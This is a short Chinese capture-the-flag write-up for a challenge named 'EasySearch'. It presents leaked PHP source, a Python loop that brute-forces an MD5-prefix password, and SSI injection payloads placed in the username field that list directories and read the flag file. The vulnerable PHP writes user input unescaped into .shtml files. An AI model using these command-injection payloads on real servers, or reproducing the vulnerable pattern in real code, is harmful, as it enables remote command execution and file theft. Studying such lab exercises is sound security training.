EasySearch

.swp源码泄露。

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

老规矩分析一下源码,当password满足一定的条件时,将username写入文件public/get_hash(),shtml。

先爆破一下admin:

import hashlib


def md5(string):
    return hashlib.md5(string.encode('utf-8')).hexdigest()


for i in range(10000000):
    if md5(str(i))[:6] == '6d0bc1':
        print(i)
        break

爆出来是2020666,提交后,通过抓包可以看到返回的值中有隐藏的文件名

直接访问可以读取文件。

这里涉及到了一个比较陌生的文件格式即shtml,可能存在SSI注入,详见:

https://shuaizhupeiqi.github.io/2018/11/17/SSI%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B3%A8%E5%85%A5/

当我们传入参数

username=<!--#exec cmd="ls ../"-->
password=2020666

时,将命令执行结果写入文件(这里有一层目录穿越)

读取flag

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
password=2020666

Last updated